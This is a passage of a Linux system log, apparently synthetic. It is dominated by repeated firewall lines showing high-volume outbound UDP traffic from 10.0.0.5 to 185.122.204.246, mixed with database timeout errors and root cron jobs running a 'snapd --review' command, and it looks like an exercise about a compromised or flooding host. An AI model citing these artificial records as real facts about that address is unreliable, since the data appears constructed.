PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13915 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=21123 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=35817 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57082 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=53356 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43898 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=38719 DPT=80 LEN=1480 +Jul 15 10:02:55 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=31965 DPT=80 LEN=1480 +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=50259 DPT=80 LEN=1480 +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10810 DPT=80 LEN=1480 +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29709 DPT=80 LEN=1480 +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=38283 DPT=80 LEN=1480 +Jul 15 10:02:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55722 DPT=80 LEN=1480 +Jul 15 10:03:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20041 DPT=80 LEN=1480 +Jul 15 10:03:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22191 DPT=80 LEN=1480 +Jul 15 10:03:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58720 DPT=80 LEN=1480 +Jul 15 10:03:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46518 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=31472 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51630 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23885 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20676 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58858 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25341 DPT=80 LEN=1480 +Jul 15 10:03:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=14346 DPT=80 LEN=1480 +Jul 15 10:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46987 DPT=80 LEN=1480 +Jul 15 10:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51876 DPT=80 LEN=1480 +Jul 15 10:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51000 DPT=80 LEN=1480 +Jul 15 10:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60043 DPT=80 LEN=1480 +Jul 15 10:03:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30140 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26751 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=49699 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=50568 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55089 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=19332 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=12903 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26362 DPT=80 LEN=1480 +Jul 15 10:03:20 CRON[1840]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:03:20 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:03:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41946 DPT=80 LEN=1480 +Jul 15 10:03:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25888 DPT=80 LEN=1480 +Jul 15 10:03:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=60638 DPT=80 LEN=1480 +Jul 15 10:03:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13126 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37827 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=32499 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51942 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29573 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=61645 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=54715 DPT=80 LEN=1480 +Jul 15 10:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23595 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52500 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=64214 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=47369 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20834 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33992 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=56167 DPT=80 LEN=1480 +Jul 15 10:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55508 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23133 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37796 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=56237 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22620 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=50940 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39721 DPT=80 LEN=1480 +Jul 15 10:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46699 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43524 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52821 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=53428 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=62661 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=32846 DPT=80 LEN=1480 +Jul 15 10:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22296 DPT=80 LEN=1480 +Jul 15 10:03:45 systemd[1]: Started Session 145 of user root. +Jul 15 10:03:45 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:03:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=42790 DPT=80 LEN=1480 +Jul 15 10:03:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26289 DPT=80 LEN=1480 +Jul 15 10:03:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=27320 DPT=80 LEN=1480 +Jul 15 10:03:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=10166 DPT=80 LEN=1480 +Jul 15 10:03:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=53620 DPT=80 LEN=1480 +Jul 15 10:03:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=47535 DPT=80 LEN=1480 +Jul 15 10:03:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26186 DPT=80 LEN=1480 +Jul 15 10:03:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20709 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46053 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=56583 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46530 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13098 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=25943 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=23849 DPT=80 LEN=1480 +Jul 15 10:03:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39270 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59109 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55425 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37970 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=18847 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57504 DPT=80 LEN=1480 +Jul 15 10:04:00 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=63176 DPT=80 LEN=1480 +Jul 15 10:04:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46776 DPT=80 LEN=1480 +Jul 15 10:04:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33124 DPT=80 LEN=1480 +Jul 15 10:04:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=29377 DPT=80 LEN=1480 +Jul 15 10:04:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=64027 DPT=80 LEN=1480 +Jul 15 10:04:10 CRON[1850]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:04:10 webapp[5432]: ERROR: Database connection timeout while handling request for /api/data +Jul 15 10:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=28666 DPT=80 LEN=1480 +Jul 15 10:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41405 DPT=80 LEN=1480 +Jul 15 10:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52614 DPT=80 LEN=1480 +Jul 15 10:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30474 DPT=80 LEN=1480 +Jul 15 10:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=27206 DPT=80 LEN=1480 +Jul 15 10:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=35689 DPT=80 LEN=1480 +Jul 15 10:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=22058 DPT=80 LEN=1480 +Jul 15 10:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=16092 DPT=80 LEN=1480 +Jul 15 10:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37116 DPT=80 LEN=1480 +Jul 15 10:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37324 DPT=80 LEN=1480 +Jul 15 10:04:20 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:04:20 ] "GET /health" 200 12 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=49972 DPT=80 LEN=1480 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=38833 DPT=80 LEN=1480 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17094 DPT=80 LEN=1480 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=20802 DPT=80 LEN=1480 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52489 DPT=80 LEN=1480 +Jul 15 10:04:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46802 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=36037 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=17707 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=48869 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43855 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43546 DPT=80 LEN=1480 +Jul 15 10:04:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58162 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=30001 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=63547 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33196 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=35860 DPT=80 LEN=1480 +Jul 15 10:04:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 